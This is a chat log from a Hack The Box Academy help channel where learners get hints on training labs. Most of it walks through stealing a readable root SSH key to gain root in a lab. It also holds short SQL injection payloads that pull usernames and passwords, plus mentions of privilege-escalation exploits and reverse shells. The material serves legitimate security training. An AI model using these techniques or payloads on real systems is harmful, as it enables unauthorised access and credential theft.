modules

[fluid quartz]

can anyone review my code for the aes crypter on introduction to windows evasion?

[unkempt ether]

WINDOWS ATTACKS & DEFENSE - skills assessment
i did the attack but unable to find the event (now unable to login to bob)
anybody can gelp me this is from the cdsa

[west canopy]

which machine are you trying to connect to , to look at the events?

[summer lava]

https://academy.hackthebox.com/achievement/361921/31

[quiet heart]

https://academy.hackthebox.com/achievement/badge/cf614227-1652-11ef-b18d-bea50ffe6cb4

[next bronze]

imagine doing modules for 26 weeks, what a nerd

https://academy.hackthebox.com/achievement/badge/69b33a20-165e-11ef-b18d-bea50ffe6cb4

[unkempt ether]

im using bob

[west canopy]

okay , but what computer are you trying to connect to in order to look at the event logs?

[spark spruce]

should I try this experiment or not??

[unkempt ether]

im using 172.16.18.20 to look for it ( that was the only credentials)

[west canopy]

ill give you a hint, go back to the PKI - ESC1 section and look at the second question

[fathom pendant]

No

Generally DoS is something you want to avoid

In both a pentest and a bug bounty

The only time it's "acceptable" is if it's incidental as you're searching for other vulns. But DoS is something you report immediately

[spark spruce]

okay thanx

[unkempt ether]

alright thanks actually i havent even done it i just decided to do the skills assessment first XD

[fathom pendant]

Yeah, skipping to the skill assessment isn't smart

Or, at least, getting stuck then not going back through to whatever you skipped

"Why can't I move forward with this thing I skipped"

[west canopy]

Bob is simply an account used to coerce DC2 to connect back to the kali host (which then gets relayed to the PKI machine to request a certificate)

[unkempt ether]

so i need to access dc2 or pki to see the event?

[west canopy]

you tell me

😉

[fathom pendant]

I would suggest going back to that section that Jared hinted at

[unkempt ether]

no clue im just buzy staring at PKI-ESC1 slideshow of windows

[west canopy]

the events of requesting a certificate, and issuing a certificate, are logged by the CA

which is the certificate authority

[fathom pendant]

I wonder where a CA would lie 🤔

https://tenor.com/view/tolarian-community-college-kyle-hill-magic-the-gathering-i-hate-your-deck-reading-the-card-gif-22381436

[west canopy]

right , just to clarify, the CA is a component of PKI .

Certify.exe will list info about the CA , including its DNS host name

the domain is eagle . Or eagle.local when its machines of the same domain talking to each other

the vulnerable CA DNS hostname is shown to be PKI.eagle.local

we can see, both PKI and PKI.eagle.local resolve to the same IP

[uneven oracle]

I’m definitely having a hard time here…
How do I get root?
It won’t let me execute scripts.

Getting Started/Pentesting Basics/Privilege Escalation

[fathom pendant]

sudo -l and sudo -h or man sudo to see what all you can do with sudo aside from just root

Since you're user2

Check and see if you can access files you otherwise shouldnt

[uneven oracle]

After I get access to user2, if I type “sudo -l” it ask for a password.

[fathom pendant]

Since you're meant to get to root, check and see if there's files you can access

Maybe in /root/

[uneven oracle]

It won’t let me access /root directory.

[fathom pendant]

Well maybe you can't cd

But maybe you can list items in it

[uneven oracle]

How?

[fathom pendant]

What command lists things

Specifically files and directories

[uneven oracle]

Ugh… 😖
Gimme a sec.

[fathom pendant]

Maybe it helps if you think of it as (l)ist (s)tuff

[uneven oracle]

Ls /root ?

[fathom pendant]

That may not show you all files

man ls to see what arguments ls takes

[mystic chasm]

Who knows something about credit cards

[uneven oracle]

Now my VMware is updating.
I’m checking google.

[fathom pendant]

You can google "man <command>" and there's a website that will pop up that basically has all the commands that have man pages

[mystic chasm]

Who knows anything about credit cards

[fathom pendant]

We don't do carding

[mystic chasm]

Like nobody

[fathom pendant]

Read #rules carefully

Specifically point 4

[mystic chasm]

Yeah but like in private

It’s legal

[fathom pendant]

No

Carding is illegal

Period

[mystic chasm]

Ok

[fathom pendant]

Without any further context. I'm assuming you're asking about credit cards so you can swipe them

Which is the illegal activity known as carding

[uneven oracle]

lol at the “credit card” guy.
Def sounds a lil sus…

[west canopy]

illegal and unethical

[fathom pendant]

Err on the side of caution when little info is given

The less info someone gives about why they want to know something, the more suspicious it seems

See: "I need to hack my own account back that got stolen :("

[west canopy]

Take a look at the sub-section titled "SSH Keys"

[fathom pendant]

I didn't check personally but are a and b the same, a being user2's and b being the root's?

If so definitely easier

[uneven oracle]

I can’t do anything with that without further access already.

[fathom pendant]

They're more referring to where they're stored

[uneven oracle]

No.
You have to somehow gain root from user2.

[next bronze]

do you mind checking the US servers for the AD modules? seems like a couple of people are running into problems with either "no logon servers available" or "connection reset by peer", the exact same commands worked on eu servers. I know of 3 caes so far

[fathom pendant]

I'm referring to something vaguely specific

Not that user2 == root

[uneven oracle]

Not sure what you mean…

[west canopy]

well let me ask you this. What does it mean in linux when a file or directory has a period in front of it? for example:

[uneven oracle]

Hidden, I believe.
Ls -a

[fathom pendant]

If you want to list them neatly, add -l to it

ls -la is a very ubiquitous command, used so often that I believe some distros default configs have ll and la as aliases for common ls combinations

-l Also gives file details

I like that markdown adds serifs

[uneven oracle]

So I’m back in.
How do I list the content of /root with ls?

[fathom pendant]

You were on the right track with ls /root/

You just need to see more, maybe hidden, directories

[uneven oracle]

I mean, I know what’s in there.
It’s the flag. (Flag.txt)

But I have to be root to read it.
I don’t know how I’m supposed to escalate privileges.

[fathom pendant]

You're focused too hard on the end goal

There's more in there than flag.txt

[west canopy]

Read the section on SSH keys

[uneven oracle]

Ok. I see the hidden files also.

[fathom pendant]

So now view the hidden directory

(Directories with ls -l are indicated with a d before the permissions

You should see something interesting in there

[uneven oracle]

Oooh ok. I got a little movement.
Gimme a sec… 😪🙃

[fathom pendant]

:3

Don't forget to change permissions once you copy it to your system

[uneven oracle]

Soon as I figure out how to copy it to my system lol.
I’m thinking I can maybe figure out the rest now.
We shall see.

[fathom pendant]

I mean

Cat it, ctrl-shift-c --> your system, open any text editor of your choice, ctrl-shift-v [if terminal based like vi/nano] or ctrl-v

[uneven oracle]

Hmm still not quite working…

I ssh in with the id_rsa file.
Nothing special happened.

[unkempt ether]

alrigh thanks

[fathom pendant]

Are you ssh to root?

[uneven oracle]

Wait, I think I’m figuring it out.
I don’t be understanding these instructions, my brain think different.
One sec.

[fathom pendant]

You found it in root

So why not try and use it to ssh to root

[uneven oracle]

Well… I’m getting permission denied when I try to copy my ssh key.
So, I can’t ssh as root yet.

[fathom pendant]

Are you copying the ssh key from the actual server or from the example

The example is missing a lot of info for a valid key

You can't edit authorized keys

But take a close look at who owns one of the files

[uneven oracle]

lol the actual one.
I created my key on my machine with ssh-keygen -f key

It made the two files.

[spark spruce]

What is the reply time of support team?

I have msg them 2 days ago

[fathom pendant]

That's gonna be impossible in this case, since you can't edit authorized keys file

So look at other options

[uneven oracle]

Not sure what you mean.
I made my own key. With the passphrase,

[fathom pendant]

Yes but you can't add it to the root authorized keys file

[uneven oracle]

So how am I supposed to get the flag?

[fathom pendant]

So again: look closely at all the files in the directory

Something should stand out very obviously

[west canopy]

they have the authorized_keys file locked down. Only the root user can read/write. Not even members of the root group can do anything with it. Similar to the flag.txt file inside of /root.

[fathom pendant]

Take a close look at permissions

Only one is readable by everyone

[west canopy]

In theory, if we could write OUR public key (one that we generate via ssh-keygen) into the root users authorized_keys file, then we could SSH using the corresponding private key

[uneven oracle]

We left off at copying the id_rsa file to my machine.
I chmod that file.

Then try to ssh as root??

[fathom pendant]

Permissions are interested in that they are an octal set represent 3 distinct permission types

[fathom pendant]

Yes

[west canopy]

bingo!

[fathom pendant]

:)

[uneven oracle]

Do I still add the port number or just the base ip?

[fathom pendant]

Add port # in this case

Since its public ip: port in this case

Nothing about the situation has changed to open up port 22

[west canopy]

the target of this section is a Docker, not a full VM.

[fathom pendant]

Note: when presented with a public ip and port, your only scope is the ip and port

[west canopy]

so it can't make outbound connections

[fathom pendant]

That is the only assumption you can make regarding those targets

Is that everything you do will involve those 2 elements

[uneven oracle]

It’s asking for a password.
I tried that earlier,

[fathom pendant]

It shouldn't if you add the id_rsa flag

Also know as the identity flag

[empty iron]

https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/
is this controversial or am imissing something ?

[fathom pendant]

-i id_rsa

[fathom pendant]

They don't contradict

The second part is explaining how machines write their own spns

[empty iron]

if i have control over forexample target.hq.com can i edit it's SPN to attacker.hq.com ?

[uneven oracle]

What am I doing wrong here?

[fathom pendant]

You don't need to be root on your own machine to ssh to it

[fathom pendant]

Check if the target is still live

You can restart and try it again

[uneven oracle]

I know. We went through this. That just automatic on this custom kali from Udemy.
But why isn’t my ssh working?

[fathom pendant]

Yeah don't use the udemy kali image

Use the official one

Running around as root is highly irresponsible

[rustic sage]

I feel deja vu

[fathom pendant]

https://tenor.com/view/déjàvu-drift-anime-initial-d-car-gif-17211916

[west canopy]

check the file hash of the id_rsa file on the target machine, and see if it matches the one on your attack host

[uneven oracle]

I know I know, I’ll fix that.

But this HTB flag tho… 🤔

[fathom pendant]

The id_rsa should work if you copied the whole thing

The
----Start
And
------End lines are important

[empty iron]

@fathom pendant Also, in the example, he is using SPN to point to another machine that has a different SAMAccountName.

[uneven oracle]

So my command is correct?

I’ll check the id.
I’ll show you what I’m copying and pasting. 🤷🏽‍♂️

[fathom pendant]

This seems unrelated to htb academy

[empty iron]

I know, but I am asking if anyone else knows something about that

[uneven oracle]

I may have respawned the target with the old id file.
I’ll go again.

[fathom pendant]

Well you're better off asking in other channels since this channel is related to hrb academy again

[west canopy]

compare file hashes

[empty iron]

ah soryr

[fathom pendant]

The id_file will be the same on any target it spawns

[uneven oracle]

Well idk what’s wrong.
I’ll show you.

[fathom pendant]

I'd advise not copy/pasting it here

[uneven oracle]

I was gonna screenshot

[fathom pendant]

Do md5sum id_rsa

[fathom pendant]

Even still

[uneven oracle]

What is md5sum?

[fathom pendant]

It'll get the md5 hash of the file

[uneven oracle]

Marcie, you’re making it more complicated lol.
I won’t show the whole thing.
Ok look…

[uneven oracle]

Idek how to do that.

[rustic sage]

@uneven oracle "The MD5 message-digest algorithm is a widely used hash function producing a 128-bit hash value. MD5 can be used as a checksum to verify data integrity against unintentional corruption."

This is being suggested to verify if you have the correct file data in what you're using

[west canopy]

the hash is a files fingerprint

[rustic sage]

if the hashes don't match, then you files are different

your*

[west canopy]

if two files have the same hash, they are comprised of the exact same bits

[fathom pendant]

It's literally running the command md5sum <file>

[uneven oracle]

Add this first line?
And the one at the end?

Or the the encrypted text?

[rustic sage]

jareds snippet shows the command

[fathom pendant]

Yes

Those are important to private key files

[empty iron]

for who cares he is using msds-additionaldnshostname to update the SPN

[fathom pendant]

Brother. Stop trying to get help here. There's other places to ask

If you have the red team role, you can access #red-team

[empty iron]

i am just saying the answer dude

[fathom pendant]

/join is the command

[fathom pendant]

It sounds like they were missing the start and end lines

Which is why it kicked back to password auth

[west canopy]

ah

[fathom pendant]

It's one of the common issues I've seen

[uneven oracle]

I did last time.
Not sure what I’m doing wrong.

[west canopy]

yea we can't have any extra characters at all . No extra spaces, or new-lines

[rustic sage]

@uneven oracle When you run the SSH command to log in, what's the error?

[fathom pendant]

Does the md5sum match?

[uneven oracle]

Ok, now how do I check that?

[fathom pendant]

...

[uneven oracle]

I did…

[west canopy]

its in the screenshots i sent you

[fathom pendant]

md5sum <filename>

As stated multiple times

[west canopy]

user2@ng-594497-gettingstartedprivesc-5ozxe-5886644b4b-68wgk:/root/.ssh$ md5sum id_rsa
60a0d4c65e84aa896ed1ad822b644696  id_rsa

[fathom pendant]

If you have an additional new line at the end, it changes it

[uneven oracle]

Doesn’t seem to be extra lines.
Gonna try again.

[fathom pendant]

if you have a new line at the end >

┌─[us-academy-3]─[10.10.15.51]─[htb-ac-667914@htb-onq6iyjxix]─[~]
└──╼ [★]$ md5sum id_rsa
2f1b338a396f42b7b92b106c04781718  id_rsa

[uneven oracle]

I’ll try and check these.

[fathom pendant]

(the new line at the end does not effect it being usable)

i checked

[west canopy]

ah interesting

[fathom pendant]

so it should either match A or B

the new line gets added if you copie the whole line after catting it, not just to the last -

as it treats the whitespace after a line end as \n

but yeah if it matches either of those sums, it should be fine and work

[uneven oracle]

Ok, they don’t match.
Not sure why.
Gonna redo it.

[fathom pendant]

does it match either mine or jared's

if it matches either of them it should be fine

just to be sure

you also said you made your own id_rsa key file

when you copy/pasted the new file, did you use a different name?

or is it in a different file location

[uneven oracle]

Nope.

[fathom pendant]

(sometimes it matters what text editor you use)

as they may encode it slightly different

[west canopy]

gonna sign off for the night, keep at it dawg !

cheers

[fathom pendant]

you're 🤏 this close

[uneven oracle]

I copy from the target machine.
Go to my machine and touch id_rsa. 🤷🏽‍♂️

[fathom pendant]

i mean touch isn't a text editor

it just creates the file or updates the file to have a last edited date as current date/time

[uneven oracle]

I double clicked on the file created, then pasted.

[fathom pendant]

¯_(ツ)_/¯

learning in-terminal text editors is useful

not required per-se

but useful

[uneven oracle]

Will do. Lot to learn..,

[fathom pendant]

vi/vim/nano are the most popular

nano is the easiest to learn

vi/vim has a bit of a learning curve to it (but they do have a tutorial)

[uneven oracle]

Def gonna get into vim once I get situated.

[rustic sage]

ugh vim

[fathom pendant]

i use vim most often

[rustic sage]

I thought you would

Only elitists use vim

[fathom pendant]

even wrote PoC for grabbing my academy transcript in it ¯_(ツ)_/¯

i'm not an elitist lol

[rustic sage]

I tried and I cbf with vim after a while

I'm kidding

[fathom pendant]

just preference, i prefer the convenience of vim functions

[uneven oracle]

I was doing some web dev, so of course I use VScode.

[fathom pendant]

VScode is nice for coding

but i don't wanna launch vscode every time i wanna write a random file ¯_(ツ)_/¯

and my code didn't require anything fancy/i was lazy

[uneven oracle]

But as a newb in terminal, I of course default to nano.

[rustic sage]

@uneven oracle Fix your ssh issue homie

[fathom pendant]

either way

did you get it fixed?

:)

[uneven oracle]

Right. lol
Y’all distracting me.

[fathom pendant]

my light guess is that it was missing a - at the end

instead of 5x - it was 4x

[uneven oracle]

I’m thinking that. Idk.
Leave me alone a sec lol.

[rustic sage]

Start from the top

Copy the entire file contents

Check the permissions of the file

If they're too "open" you need to change the file permissions

SSH with it should work after that

[fathom pendant]

go do the thing, messages can wait

[fathom pendant]

they've got the permissions thing already

ssh very much yells at you if your id_rsa file is too open

[uneven oracle]

You said something about editors making it different.
I’ll try vim.
How do I past it into vim?

[fathom pendant]

ctrl-shift-v

then hit escape a couple times; and type :wq

[uneven oracle]

Interesting…
Now the md5sum matches.

Moment of truth. 🙏
Let’s see..,

[west canopy]

remember to run: chmod 600 id_rsa

[fathom pendant]

6 and 700 work

as long as the last 2 octals aren't > 0

otherwise ssh gets big mad

[west canopy]

we can also echo it into a file

[uneven oracle]

#GANG

I’m in… 😎

[west canopy]

lets gooooooooo!!!

nice job 🙂

[fathom pendant]

imagine using echo to write to files

[uneven oracle]

I have captured the flag.

[fathom pendant]

congrats

[uneven oracle]

You guys are great.

[fathom pendant]

now do it again

[uneven oracle]

@fathom pendant you’re awesome…

Sure I’ll be back soon. 😅

[west canopy]

so now that you're root

you could change permissions on the authorized_keys file

[fathom pendant]

exhaust all available resources before asking here tbh; struggle until you think to yourself "surely, it's not a skill issue?"

also... reading is hard sometimes

[west canopy]

then ssh-keygen from your own machine, and write YOUR public key into root users authorized_keys file

then SSH in as root again . But using YOUR private key

[rustic sage]

🔥

[uneven oracle]

I was trying hard. I was stuck.
But I hear you.
And I quite appreciate the help.

[fathom pendant]

learning basic checksum stuff is also useful

[uneven oracle]

Extra credit?
I’m exhausted…
I’ll try that tho.

[fathom pendant]

as you saw

[uneven oracle]

Not sure what you’re referring to.

[fathom pendant]

md5sum is a form of checksum verification

it checks the sum of a given algorithm

[uneven oracle]

Ah… yes… good stuff.
Idk how you know so much.

[fathom pendant]

meaning that no matter how many times you run md5sum on a file, as long as you don't change it -- it will always give the same sum

[west canopy]

the amount of things to learn in this field is endless .

[fathom pendant]

a will always equal a unless you change it to b

[smoky snow]

I posted in the wrong channel, i'm stuck on SAML signature wrapping attack, can someone help ? https://academy.hackthebox.com/module/170/section/1676

[west canopy]

yep , its also a method of how anti-virus detects if a file is malicious

and websites like virustotal

[uneven oracle]

Interestingly, it works a little different when coding.
Two bags with the same items are still two DIFFERENT bags… (in memory)

[fathom pendant]

they might still be two different bags, but they have the same contents

[uneven oracle]

(In memory) meaning the “checksum” would be different.

[fathom pendant]

if you

bag1 = 5
bag2 = 5
print(f"bag 1 has {bag1} and bag 2 has {bag2}") 

bag1 == bag2

[west canopy]

another thing i was going to suggest was running this command:
cat id_rsa | tail -n 5 | xxd

[fathom pendant]

you can name a file something completely different

and it will still give the same checksum

as it's contents are the same

[west canopy]

and see the actual bytes that comprise the file (specifically the last 5 lines )

[uneven oracle]

So you code too? lol

I can’t remember the reference of my statement.
Brains about fried for the night. 🤓🫠😵‍💫

[fathom pendant]

a potato is a potato until you make it a tomato ¯_(ツ)_/¯

[rustic sage]

Tomtato

[uneven oracle]

Ladies and gentlemen…
I bid thee farewell. 🧐🥱😴

[west canopy]

later homie !

[gray chasm]

Module: Windows Privilege Escalation
Section: Print Operators

I want to compile the ExploitCapcom.cpp modifying a line so that it executes a reverse.exe binary that will open a shell on my computer, the thing is that the cl.exe is not on the computer.

Does anyone know how I can compile it?

[rustic sage]

You would need a C++ compiler or visual studio can build it

[west canopy]

i think a compiled version is already on the target machine though

oh but you want it to reverse shell

[smoky snow]

My message was drown in the others, is anyone available to help on this T3 and is able to check if the module is working as intended ? I'm pretty sure I did the correct stuff since I've been following the course by heart and even got to check the solution (I'm a gold annual subscriber) and it was exactly the same as the course

[gray chasm]

Sure, the one on the machine gives you a cmd.exe, but I want to practice it if GUI, so that it gives me a reverse shell.

[west canopy]

yep this is the way

[fierce mason]

in skill assessment ii for ad attacks, im not exactly sure why the attack for the last user works on only a specific set of hosts and didn't work on the tool thats run on the attack host

[spark spruce]

@fathom pendant
how can I know that this website is using XML or sql or JSON in their databases before injection attack?

[woven stone]

https://medium.com/@V-Blaze/json-and-xml-in-sql-working-with-json-and-xml-data-49fdde19427c

[smoky snow]

@upper haven sorry for the ping, something feel off with the module you designed, I did everything as instructed and everytime I try to add an assertion before or after the first assertion, i get invalid SAML whatever I do : https://academy.hackthebox.com/module/170/section/1676

Maybe the last update broke something ?

[woven stone]

If you mean the type of database, you can identify it from errors

[spark spruce]

how to detect XML

[woven stone]

encoded as hex

Like this <@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities>

[spark spruce]

But If it is secured
then?

[woven stone]

Try ‘ “ # )

[woven stone]

Use burp

[woven stone]

https://portswigger.net/web-security/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding

[woven stone]

Did you really study hard ????

[spark spruce]

I have completed bypassing
but I just want to know that
before doing injection I want to detect that I have to use XPATH injection

[spark spruce]

yes

suppose if it is using json
and I am trying XPATH injection

[woven stone]

Idk 🤷‍♀️ good is ur friend

Or wait for someone who can help you

[fathom pendant]

you try things until they work

you do basic tests

[spark spruce]

even I don't know its real format ?

[fathom pendant]

i.e. with sql statements you might do ' UNION SELECT @@version,2,3,4,5

[woven stone]

In req u can See Format

[fathom pendant]

well that's assuming the backend is visible

[woven stone]

Use burp

[fathom pendant]

either way

most of the modules regarding attacks will detail how to test them

[spark spruce]

yes but don't know how to detect them

[fathom pendant]

well follow the module dude

i'm not some magic oracle, just read the module, follow along, take notes

I only know what I know from reading and paying attention to the modules

[spark spruce]

yeah thankx
its enough

could there be any issue if browser is not opening after clicking many times ?

[woven stone]

Use 🦊 foxy proxy

In Firefox

[spark spruce]

okay

[woven stone]

sudo apt-get update --fix-missing

sudo apt-get upgrade --fix-missing

Try this it will fix the burp

[fathom pendant]

apt-get is deprecated

it's just apt

[woven stone]

Yeah what is the problem!!!

[dim wolf]

apt-get has no colors

[fathom pendant]

just saying it's apt now

[woven stone]

apt = apt-get

[fathom pendant]

no... it doesn't

apt and apt-get are different commands technically speaking

while they can perform similar functions: proper syntax for new systems uses just apt

[woven stone]

It’s alias bro ……..

But without color

[fathom pendant]

no..it's not

[dim wolf]

apt is newer and has more features than apt-get

[fathom pendant]

it's not an alias

[dim wolf]

it's supposed to be more user-friendly

so.. it's better apt-get

[woven stone]

Ur right…..

[spark spruce]

Bro I have used
sudo apt update -y && sudo apt full-upgrade -y && sudo apt autoremove -y && sudo apt autoclean -y

[fathom pendant]

--fix-broken

[spark spruce]

okay

[fathom pendant]

and --fix-missing

[dim wolf]

what distro is this

[woven stone]

Work in all distro 😒

Without arc

[dim wolf]

i mean what distro is uniki using

[woven stone]

Kali or parrot … same

[fathom pendant]

i mean similarish

[dim wolf]

if it's parrot he may fuck up his burp

[fathom pendant]

i have burp working just fine on parrot

¯_(ツ)_/¯

[dim wolf]

last time i did parrot-upgrade burp became unusable because it was expecting a more recent version of OpenJRE

[woven stone]

Try sudo apt-get update --fix-missing

sudo apt-get upgrade --fix-missing

[dim wolf]

but the repo for parrot doesn't have the newer version of OpenJRE

[fathom pendant]

it works fine for me so i'm happy ¯_(ツ)_/¯

also parrot-upgrade is just a wrapper for apt upgrade and apt update

[dim wolf]

yes it is

[woven stone]

Do not use epssec files

[dim wolf]

i'm still salty that i had to install burp manually

[dim wolf]

at least my issue was forwarded to the parrot devs

so maybe if i try now it'll work

[fathom pendant]

they tend to look at the issues

it could be they backported the version of burp to match the JRE or updated the JRE in repos to match

it's also not uncommon to need to add -t lory-backports on occasion

[past scaffold]

hello, i need a small hint in file upload skills assessment, i successfuly found almost everything (bypass the filters, upload directory, name of the file) i just don't know what is the name of the flag in order to read it. or maybe an xxe way to list the root directory in order to find the name of the flag

[fringe urchin]

Im going back to kali lol. Parrot is always.something broken

--fix or -force

[next bronze]

skill issue (never used parrot)

[fringe urchin]

Thats what a mac user would say

[next bronze]

did you just assume my OS

[fringe urchin]

I shouldnt have done that

[fathom pendant]

https://tenor.com/view/thats-offensive-rude-sarcasm-sassy-insulted-gif-15291606

[next bronze]

where the mods at

[languid fjord]

hi

[fringe urchin]

[next bronze]

hi

[slender tapir]

Yea, can't seem to spawn any targets in the academy labs

[unreal granite]

its working for me now did switch vpn servers 3 times tho

[slender tapir]

Nothing for me. The targets spawn, I can ping em and scan em but unless I can get a web page up, XSS practice isn't going to be easy.

[dire tusk]

Hi!

I have a problem with the module "Introduction to Digital Forensics" with the activity of "Practical Digital Forensics Scenario".

I have problems to resolve the 2 questions, can someone give me a hint for both? thank you 🥲

[smoky snow]

Hi again mods ,
I'm now sure there is an issue with "ATTACKING AUTHENTICATION MECHANISMS" module.
With the signature wrapping attack, the vm that is spawned is weak to the previous weakness : Signature exclusion attack, and not the one trained.

I can reexploit it the same way but when I do, I get the flag from previous question, so this module is unsolvable at the moment.

Who should I contact to be sure of the issue and get this fixed ?

[marble island]

Hello, i was doing the Pivoting, Tunneling, and Port Forwarding module at the Meterpreter Tunneling & Port Forwarding part, in the thing we had to connect to a ubuntu host that had access to a windows host, and foward an RDP connection from the ubuntu host to our attack host , i did that using SSH port fowarding, it worked for 3 seconds the RDP connection and it closed, now i can't connect anymore using "proxychains xfreerdp /v:172.16.5.19:3389 /u:victor /p:pass@123" and if i do a nmap scan "proxychains nmap 172.16.5.19 -p 3389" it says port closed. My question is, does windows firewall or something closed the port? Or am i doing something wrong?

I am considering restarting the lab

[acoustic owl]

It is best to post it in #1234357888114364508 .
Vautia has written the module. I am sure he will look at it and correct it if necessary.

[marble island]

nmap says port closed, i cant connect to it using RDP, i don't know why it is closed, but it is, i think that windows firewall thing

I had many issues before doing htb boxes that we had to use rdp

and for some reason the rdp port closed

I googled around and asked chatgpt they both lead me to the conclusion that yes, for some reason windows closes ports

Okay im going to complain

[acoustic owl]

Restart the Lab and then try again

[marble island]

will do, now, i want to ask did anybody see something like this before?

[acoustic owl]

It can certainly happen that a VM crashes, for whatever reason. You can fix this by restarting the Lab

[lethal shard]

hello guys! how many modules of new senior infrastructure pentester will be released(tier 3)? I see that a lot of AD modules came.
I want to know this so I can understand how much to buy)

[acoustic owl]

Until the path has been published, nobody in the community knows which and how many modules are required for the new path.

[lethal shard]

When the web senioer penetration tester was released, the releasers showed how many modules were left until the end of the path. Information just for fun)

If it's unknown, that's fine. Thank you

[acoustic owl]

Yes, but only when the path was published. A new path has not yet been published.

What is certain is that there will still be a DACL Attacks module.
The DACL Attacks I module refers to three modules. Only I and II are currently published. There will therefore be a third module

[lethal shard]

Yes, that is true I remember. Waiting so much new modules

[acoustic owl]

We will see what time will bring.

[fierce mason]

in skill assessment ii for ad attacks, im not exactly sure why responder doesn’t capture the hash for the last user on the attack box, but inveigh does

[next bronze]

maybe because some requests are targeted and some are broadcasted

[fierce mason]

wdym?

i assumed it was because the subnet mask on the hosts is different from the mask on the attack host, but im not sure

[next bronze]

where are you running responder and where are you running inveigh?

[fierce mason]

responder on the attack host, and inveigh on ms01

[fathom pendant]

i take it by attack host you mean the foothold provided

[fierce mason]

yeah

[wary magnet]

hi all,

for Web Attacks - Skill Assessment https://academy.hackthebox.com/module/134/section/1219, am i supposed to be able to log in using the htb-student user?

i have identified several ||.php|| endpoints using fuzzing.
got the ||token|| and ||uid|| for the users

since i do not know what the requests look like, i am unable to proceed with restting the password of any user.

i have tried to place the ||uid|| and ||token|| parameters in the request but i still get Missing Parameters

may i have a bit of a hint on how to proceed?

[next bronze]

yeah so, LLMNR/NTB-NS poisoning works by poisoning the broadcast and capuring the request, while the one you captured on ms01 is a direct NTLMv2 request

if you're still confused, check the scheduled task on the DC once you got DA

[viral lotus]

I think this is the most appropriate place to ask but I am newly starting in the academy I am coming from TCM. I have enrolled on the CREST CPSA/CRT pathway, might seem a stupid question but has the path been designed to best follow it in a linear fashion or can you just chop it around? thanks

[fierce mason]

so the first captured hash is sent specifically to the attack host, and the second hash is sent specifically to ms01?

[fathom pendant]

most of the paths are designed to be followed linearly

[viral lotus]

thanks I'll get cracking on 🙂

[next bronze]

first one is a broadcast

[tawny juniper]

Hi everyone, can I dm someone who finished AD enumeration & attack part 2, I'm stuck at Q7, I know how to transfer files, I know I suppose to use Pr*******er.exe, but when I ran it, nothing happened

[fathom pendant]

well you don't just run that command, you supply additional arguments

[tawny juniper]

you're saying if I run it like in Windows Privilege Escalation module, it will not work?

[jaunty coyote]

Why is htbacademy so focused on theory? While I bet 90% no one can remember 80% of the words in it

[fathom pendant]

||https://github.com/itm4n/PrintSpoofer||

[fathom pendant]

note taking helps

[junior flicker]

Anybody complete the IDS/IPS Evasion Hard Lab in the Network Enumeration with Nmap course? I can find the DNS port and notice it's using TCP, but am struggling to get the version information. I've tried random decoys, used Syn-Ack, but am still coming up empty

[fathom pendant]

look up spoofing in the reading for evasion: it has to do with the source-port

also the answer isn't related to the DNS port on the target, rather a port revealed after you do some minor evasion

[long river]

Preciso de uma ajuda

Alguém pv por favor

[tawny juniper]

Ah crap, turns out I download wrong version of P******r, thanks

[fathom pendant]

it happens but just figured i'd give the docs :D RTFM and all that

[fathom pendant]

este server es solo ingles; lee los #rules

[tawny juniper]

should have build it from source, shouldn't be too lazy

[fathom pendant]

i downloaded the binary and it worked fine for me

¯_(ツ)_/¯

[tawny juniper]

I used this source previously https://github.com/k4sth4/PrintSpoofer

[fathom pendant]

well -i drops you into the current shell

and well if you're not in an interactive shell

which is why you need to adjust

you'd likely want to use a command to say create a user 😉

[indigo flare]

heck Carlos' crontab, and look for keytabs to which Carlos has access. Try to get the credentials of the user svc_workstations and use them to authenticate via SSH. Submit the flag.txt in svc_workstations' home directory.

[fathom pendant]

or by running a ||reverse shell payload||

[fathom pendant]

what are you having trouble with?

that's just a repeat of the question

the instructions are fairly clear and the section details how one might use the crontab to check things

check crontab
crontab points to a .sh file
check the .sh file for references to other things

[primal needle]

I am new to this, so please no hate 😄 . I am having trouble with HTB academy exercises where I need to host a payload and access it through a target, such as RCE or currently XXE (same problem with RFI). When I check the console, there are no GET requests from the target server; it seems like it times out. However, when I open the payload in my browser, I can see it and download it without any issues, even request in cmd is correct. I am using pwnbox for this setup.

Any advice or insights on what might be causing this problem ? Thanks

[junior flicker]

I did take look at that and was confused by how they chose the destination port, which I'm guessing may come from the initial evasion you mentioned. Also, I'm confused that the destination port isn't DNS since the question seems to reference what I did in the Medium Lab, which was focused on DNS.

[wanton idol]

maybe in your payload u put the wrong ip thats why u not receiving any call back to your nc

[primal needle]

I copy paste the ip into my browser and no problem, even output in my console with GET request was there 😓 I am pretty sure ip is correct

[fathom pendant]

take it outside the context of the direct port

instead of using the direct port use -p- with nmap to reveal it

the question merely asks for the version of the running services

not DNS directly

[junior flicker]

So basically instead of using the standard DNS port 53, they changed to another port number? I was kind of thinking about that because I had identified some high numbered ports.

[fathom pendant]

incorrect

they put that high numbered port behind a firewall

[junior flicker]

Right, but the question says, "Identify the version of service our client was talking about", which was DNS. That's where I'm confused 😬

[fathom pendant]

no, it's not

[stark lark]

During our penetration test, we found weak credentials "robin:robin". We should try these against the MySQL server. What is the email address of the customer "Otto Lang"?

I cant connect to the SQL server,

command I used:

ERROR 2002 (HY000): Can't connect to server on '10.129.194.253' (115)```

[fathom pendant]

and communication for the provided software had to be modified

they aren't talking about DNS

otherwise they'd specifically state DNS

[fathom pendant]

scan it to see if mysql is running

and try again

if you read the hint; it's a bit more explicit in what it's doing

[stark lark]

└─$ sudo nmap 10.129.194.253 -sV -sC -p3306 --script mysql*

PORT     STATE    SERVICE VERSION
3306/tcp filtered mysql```

[fathom pendant]

if you feel it can be clearer, feel free to make a suggestion in #1234357888114364508

[fathom pendant]

sounds like it didn't spawn properly, respawn it

[fathom pendant]

it helps to provide the module and section name btw

is this the footprinting or common services module?

[junior flicker]

I saw that too, but got thrown off by the language I pasted in my last message, which I thought was referencing the Medium Lab. Thank you for the direction and clarification, I definitely needed it.

[fathom pendant]

generally treat the skill assessments as separate

[stark lark]

https://academy.hackthebox.com/module/112/section/1238
CPTS -> Footprinting -> SQL

Well I tried that earlier today and also just spawned a new instance..

[fathom pendant]

my other question would be, are you connected to the vpn

[junior flicker]

I will do that, I know in the scans I did I never saw mysql, but the hint makes a ton more sense with that information

[fathom pendant]

but since you can scan it

[stark lark]

Yes :-)

[fathom pendant]

wasn't talking to you for that one

mysql has nothing to do with transferring and handling lots of data

it's just a database

[fathom pendant]

if it spawned correctly you should see that it's open

